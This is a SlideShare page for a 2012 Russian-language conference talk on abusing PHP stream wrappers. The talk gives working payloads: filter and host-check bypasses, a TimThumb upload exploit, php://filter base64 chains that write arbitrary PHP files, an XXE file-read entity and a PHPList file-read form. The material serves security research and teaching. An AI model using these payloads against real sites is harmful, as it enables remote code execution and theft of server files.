SlideShare uma empresa Scribd logo
1 de 29
PHP Wrappers




                  Алексей Москвин
               Positive Technologies
                           May 2012
Потоки

   Streams
Чтение данных.

     Wrappers

$handle = fopen($file, "rb");
while (!feof($handle))
 {
  $contents .= fread($handle, 8192);
 }
fclose($handle);



Можно получать данные, не только из локальных файлов!

$file = 'ftp://user:password@10.0.0.1/pub/file.txt';

$file = „http://127.0.0.1/server-status‟;

$file = „php://fd/XXX‟;

$file = „expect://ls‟;
Запись данных.

    Чтение файлов.

copy ('/etc/passwd' , 'php://output');

file_put_contents(„php://output', file_get_contents('/etc/hosts'));


    Преобразовываем файл, перед записью на диск.


move_uploaded_file($_FILES[“attach”]["tmp_name"],
                   “php://filter/string.rot13/resource=./upload/user_attach”);


    Записываем данные в Apache error_log (PHP >= 5.3.6)

error_log („Bypass root perm!‟, 3, „php://fd/2‟);
Wrapper zip://


     Требования: PHP скомпилирован с поддержкой zip.

     Обертку zip:// можно использовать при allow_url_fopen = Off.

     Враппер zip://, позволяет получить доступ к файлам внутри архива,
имя архива может быть произвольным.


$zip = new ZipArchive;

if ($zip->open('/tmp/any_name_zip_arxiv',1) )
   {
    $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());„ );
   }
$zip->close();

print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
Замена NULL байта.

 $s = $_POST[„path‟];
 include $s.‟/header.html‟;



     Использование врапперов: http:// ftp:// data:// ограничивается директивой
allow_url_include.

    Использование NULL байта, при инклюде локальных файлов, ограничивается
директивой magic_quotes_gpc.

     Если есть возможность создать zip-архив, можно использовать обертку zip://
path=zip:///tmp/any_name_zip_arxiv#/my

  Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On

     Имя архива может быть произвольным, это дает возможность использовать
временные файлы, которые создаются, при загрузке контента.
Путь до временного файла можно узнать из phpinfo():
https://rdot.org/forum/showthread.php?t=1134
Wrapper data:// (RFC 2397)




    Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис:

   dataurl   := "data:" [ mediatype ] [ ";base64" ] "," data
mediatype    := [ type "/" subtype ] *( ";" parameter )
      data   := *urlchar
parameter    := attribute "=" value

    Особенность враппера: mediatype может либо полностью отсутствовать, либо
быть заполнен произвольными значениями:

data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
Trick: function stream_get_meta_data




Манипулирование элементами массива, возвращаемого stream_get_meta_data

 $password = 'secret';
 $file = $_POST['file'];
 $fp = fopen( $file, 'r');
 extract(stream_get_meta_data($fp));
 if ( $mediatype === 'text/plain') { ... }
 if ( $_COOKIE['admin'] === $password) { ... }


Перезаписываем переменную $password
POST DATA: file=data://text/plain;password=mysecret;base64,
Обходим авторизацию: Cookie: admin=mysecret
Враппер compress.zlib://



применение compress.zlib://, не изменяет содержимое обычных файлов

readfile('compress.zlib:///etc/hosts');


в пути до локального файла, могут быть указаны, не существующие
каталоги

 $url = 'compress.zlib:///http://../etc/hosts';
 if (preg_match('/http:///', $url) == true)
  {
    echo "Yes!";
   }
Any Data in parse_url


    Функция parse_url, может обрабатывать не только URL, но и строки
довольно общего вида.

$url_info = parse_url($_POST[„src‟]);

if ($url_info['host'] === 'img.youtube.com')
   {
    $name = str_replace('/', '', substr($url_info['path'], 4));
     copy( $src, './'.$name );
   }



    Загрузка изображений с img.youtube.com:
POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

    Обход проверки на имя хоста, и создание произвольных файлов:
POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

    Копирование локальных файлов:
POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
Bypass preg_match validate


      Обход фильтра на основе preg_match

POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file



function validate_url ($url)
 {
  $pattern =
    "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i";
  return preg_match ($pattern, $url);
 }

$src = $_POST['src'];

if (!validate_url ($src)) display_error ('invalid url');
Загрузка произвольных файлов в TimThumb

     TimThumb – популярный скрипт для ресайза изображений.
Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602

New Wrappers Exploit for v1.34 (revision 145)

function check_external ($src) {
  …………………
  if (!validate_url ($src)) display_error ('invalid url');
     $url_info = parse_url ($src);
     ...................
     if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']);
     ..................
 $fh = fopen($local_filepath, „w‟);
 $ch = curl_init($src);
 …………………..
 $files_infos = getimagesize ($local_filepath);

  if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath);
 ………………………………

http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php
&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
Манипуляции с файлами в TimThumb v1.35

Требования: Функция curl_init отключена на атакуемом сервере.

…………………
       if (!$img = file_get_contents ($src)) {
           display_error ('error....');
          }
       if (file_put_contents ($local_filepath, $img) == FALSE) {
           display_error ('error.....');
          }
…………………


Создание файлов с произвольным содержимым:
data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo

«Чтение» локальных файлов:

compress.zlib://youtube.com/../http://?/../../path/to/local/file
Скрытый потенциал враппера php://filter

      php://filter – позволяет применять фильтры к потоку во время открытия.

Обрабатываем содержимое файла фильтрами:

readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php');



    Использование неопределенного фильтра, не влияет на обработку
данных другими фильтрами.
    Фильтры convert.base64-decode и string.strip_tags могут удалить часть
данных из потока.
 В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode в
эксплойте для Piwik:
http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability



 С 2009 года остались не раскрыты два важных вопроса:
      Каким образом уничтожать «ненужные» данные?
      Какие возможности дает применения фильтров?
Алгоритм Base64: кодирование

    Алгоритм Base64 описан в RFC 2045 раздел 6.8.

    Алфавит Base64:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Алгоритм Base64: декодирование.

    При декодировании, во входящей строке символы не из алфавита
Base64 игнорируются.
    Входящая строка разбивается на части по 4 символа,
каждая часть обрабатывается отдельно.
Пример "выдавливания" стопера.

     Применяя base64_decode к строке несколько раз, можно удалить часть
данных.

$content = "; <? die; ?>n";
$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n";
$file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode
        /resource=./PoC';
file_put_contents($file, $content);


   “Заглушка”: /Ly8v ( base64_decode('Ly8v') == '///‟ )

     Фильтр convert.base64-decode не обрабатывает строки содержащие в
середине знаки равенства.



$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
Фильтр string.strip_tags

      Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags


 $content = "; <? die; ?>n";
 $content .= "=3C=3Fprint('PHP');n";
 $file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC';
$quoted_printable_lt = $content);
 file_put_contents($file, '='.strtoupper(dechex(ord('<'))); // =3C



      Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно.
 Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8
битной кодовой таблицы.

 Преобразование в формат Quoted-Printable.

  $quoted_printable_lt = '='.strtoupper(dechex(ord('<')));


      Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строке
содержится знак равенства, после которого нет шестнацетиричного кода символа.

$s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
TextPattern: Upload Arbitrary Files (I)




      Данные об авторах комментариев сохраняются в файл с расширением .php


 $file = $prefs['tempdir'].DS.'evaluator_trace.php';
  if (!file_exists($file)) {
      $fp = fopen($file, 'wb');
       if ($fp)
       fwrite($fp, "<?php return; ?>n".
               "This trace-file tracks saved comments. (created ".
Пп
                 safe_strftime($prefs['archive_dateformat'],time()).")n".
                "Format is: Type; Probability; Message “ .
                 “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
TextPattern: Upload Arbitrary Files (I)
Обход проверки getimagesize (I)
  С помощью фильтров можно удалять не только “стоперы”, например можно
модифицировать содержимое изображения, после того как оно прошло проверку
на основе функции getimagesize.

Если в EXIF изображения внедрить данные
Обход проверки getimagesize (II)

extract($_REQUEST);
…..
include $templatedir.'/header.html';
.....
if (!empty($_FILES) ) {
    $file_info = getimagesize($_FILES['image']['tmp_name']);
     if($file_info['mime'] == 'image/jpeg')
       {
        if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') )
......



     Загружаем изображение, но на сервере сохраняется zip-архив,
содержащий файл /my/header.html
folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/

      Инклюдим файл внутри zip-архива

templatedir=zip:///tmp/avatar.jpg#/my
Файлы с произвольным содержимым




 Создание файлов с произвольным содержимым дает возможность:

    создать файл сессии и реализовать unserialize bug через session_start()

    создать zip архив и проэксплуатировать RFI

    cоздать/перезаписать файлы htaccess/htpasswd

    создать или перезапись шаблоны.
parse_ini_file atack

      Функция parse_ini_file обрабатывает только локальные файлы.

session_start();
$_SESSION['admin'] = $_POST['name'];
.......
$var = parse_ini_file($inifile);
require $var['require'];



      Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90

admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5"


    Используя фильтры преобразуем файл сессии в формат, доступный
функции parse_ini_file

php://filter/read=convert.base64-decode|convert.base64-decode|
                 convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
XXE Atack


     Чтение файлов за счет внедрения внешней сущности в XML.


<?xml version='1.0'?>
<!DOCTYPE scan
 [
   <!ENTITY test SYSTEM "php://filter/read=convert.base64-
encode/resource=http://127.0.0.1/server-status">
 ]>
<scan>&test;</scan>


     Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
Частичное чтение файлов в PHPList <= 2.10.13 (I)

      Причиной уязвимости, является возможность изменять структуру массива $_FILES
http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/

if (is_array($_FILES)) { ## only avatars are files
   foreach ($_FILES['attribute']['name'] as $key => $val) {
     if (!empty($_FILES['attribute']['name'][$key])) {
       $tmpnam = $_FILES['attribute']['tmp_name'][$key];
         $size = $_FILES['attribute']['size'][$key];
      if ($size < MAX_AVATAR_SIZE) {
         $avatar = file_get_contents($tmpnam);
         Sql_Query(sprintf('replace into %s (userid,attributeid,value)
values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar)));


     С помощью следующей HTML формы возможно загружать файлы в базу данных.

<form action="http://localhost/lists/admin/?page=user&id=1" method="POST”
enctype="multipart/form-data" >
<input type="file" name="attribute[tmp_name][">
<input type="file" name="attribute[size][">
<input type="file" name="attribute[[tmp_name]">
<input type="file" name="attribute[name][">
<input name="change" value="Save Changes" type="submit">
</form>
Частичное чтение файлов в PHPList <= 2.10.13 (II)
Ограничения использования врапперов.




    При установленном Suhosin-е, по умолчанию невозможно использовать
врапперы в инклюдах. (даже при allow_url_include = On).

 Например, обертка zip:// становиться доступной, только после добавления в
whitelist:

 suhosin.executor.include.whitelist = “zip”


    Функции file_exists, is_file, filesize возвращают FALSE, если в качестве
имени файла используются врапперы: php://filter, zip://, data://.
Спасибо за внимание!

     Вопросы?

Mais conteúdo relacionado

Mais procurados

plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)
ygoltsev
 
Юрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWWЮрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWW
Positive Hack Days
 
Web осень 2013 лекция 1
Web осень 2013 лекция 1Web осень 2013 лекция 1
Web осень 2013 лекция 1
Technopark
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
Anthony Shoumikhin
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
Technopark
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9
Technopark
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
drupalconf
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
Technopark
 
константин лебедев
константин лебедевконстантин лебедев
константин лебедев
kuchinskaya
 

Mais procurados (20)

plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)plwww (24.03) MEPHI (PHDays)
plwww (24.03) MEPHI (PHDays)
 
Юрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWWЮрий Гольцев - Сервис PLWWW
Юрий Гольцев - Сервис PLWWW
 
Web осень 2013 лекция 1
Web осень 2013 лекция 1Web осень 2013 лекция 1
Web осень 2013 лекция 1
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
Почему Mojolicious?
Почему Mojolicious?Почему Mojolicious?
Почему Mojolicious?
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
 
Nginx.pm
Nginx.pmNginx.pm
Nginx.pm
 
PHP basic
PHP basicPHP basic
PHP basic
 
Web осень 2013 лекция 9
Web осень 2013 лекция 9Web осень 2013 лекция 9
Web осень 2013 лекция 9
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
 
Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Расширенное кеширование в Doctrine2
Расширенное кеширование в Doctrine2Расширенное кеширование в Doctrine2
Расширенное кеширование в Doctrine2
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс Сервер
 
Укрощение XML
Укрощение XMLУкрощение XML
Укрощение XML
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Erlang tasty & useful stuff
Erlang tasty & useful stuffErlang tasty & useful stuff
Erlang tasty & useful stuff
 
Perl: Symbol table
Perl: Symbol tablePerl: Symbol table
Perl: Symbol table
 
константин лебедев
константин лебедевконстантин лебедев
константин лебедев
 

Semelhante a О безопасном использовании PHP wrappers

Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Vadim Kruchkov
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
Technopark
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
Technopark
 
ZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and Doctrine
ZFConf Conference
 
Компиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей РоманенкоКомпиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей Романенко
Fuenteovejuna
 
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Ontico
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?
phpdevby
 

Semelhante a О безопасном использовании PHP wrappers (20)

Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
 
file handling in c
file handling in cfile handling in c
file handling in c
 
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
 
FileAPI 2.0
FileAPI 2.0FileAPI 2.0
FileAPI 2.0
 
бегун
бегунбегун
бегун
 
Видеохостинг своими руками
Видеохостинг своими рукамиВидеохостинг своими руками
Видеохостинг своими руками
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
 
ZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and DoctrineZFConf 2010: Zend Framework and Doctrine
ZFConf 2010: Zend Framework and Doctrine
 
Как мы делаем модули PHP в Badoo – Антон Довгаль
Как мы делаем модули PHP в Badoo – Антон ДовгальКак мы делаем модули PHP в Badoo – Антон Довгаль
Как мы делаем модули PHP в Badoo – Антон Довгаль
 
Компиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей РоманенкоКомпиляция скриптов PHP. Алексей Романенко
Компиляция скриптов PHP. Алексей Романенко
 
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковОпенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
 
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)Движение по хрупкому дну / Сергей Караткевич (servers.ru)
Движение по хрупкому дну / Сергей Караткевич (servers.ru)
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном коде
 
бегун
бегунбегун
бегун
 
PHP 5.4: Что нового?
PHP 5.4: Что нового?PHP 5.4: Что нового?
PHP 5.4: Что нового?
 
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
Расширенное кеширование Doctrine2 (Ильяс Салихов, Intaro)
 
Silverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеSilverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопе
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demo
 

Mais de Positive Hack Days

Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 

Mais de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Último

2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf
Хроники кибер-безопасника
 
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
Ирония безопасности
 
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdfСИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
Хроники кибер-безопасника
 
CVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdfCVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdf
Хроники кибер-безопасника
 
Cyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdfCyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdf
Хроники кибер-безопасника
 
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Ирония безопасности
 

Último (9)

Ransomware_Q3 2023. The report [RU].pdf
Ransomware_Q3 2023.  The report [RU].pdfRansomware_Q3 2023.  The report [RU].pdf
Ransomware_Q3 2023. The report [RU].pdf
 
2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf
 
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
 
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdfСИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
 
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdfMalware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
 
CVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdfCVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdf
 
Cyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdfCyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdf
 
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
 
MS Navigating Incident Response [RU].pdf
MS Navigating Incident Response [RU].pdfMS Navigating Incident Response [RU].pdf
MS Navigating Incident Response [RU].pdf
 

О безопасном использовании PHP wrappers

  • 1. PHP Wrappers Алексей Москвин Positive Technologies May 2012
  • 2. Потоки Streams
  • 3. Чтение данных. Wrappers $handle = fopen($file, "rb"); while (!feof($handle)) { $contents .= fread($handle, 8192); } fclose($handle); Можно получать данные, не только из локальных файлов! $file = 'ftp://user:password@10.0.0.1/pub/file.txt'; $file = „http://127.0.0.1/server-status‟; $file = „php://fd/XXX‟; $file = „expect://ls‟;
  • 4. Запись данных. Чтение файлов. copy ('/etc/passwd' , 'php://output'); file_put_contents(„php://output', file_get_contents('/etc/hosts')); Преобразовываем файл, перед записью на диск. move_uploaded_file($_FILES[“attach”]["tmp_name"], “php://filter/string.rot13/resource=./upload/user_attach”); Записываем данные в Apache error_log (PHP >= 5.3.6) error_log („Bypass root perm!‟, 3, „php://fd/2‟);
  • 5. Wrapper zip:// Требования: PHP скомпилирован с поддержкой zip. Обертку zip:// можно использовать при allow_url_fopen = Off. Враппер zip://, позволяет получить доступ к файлам внутри архива, имя архива может быть произвольным. $zip = new ZipArchive; if ($zip->open('/tmp/any_name_zip_arxiv',1) ) { $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());„ ); } $zip->close(); print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
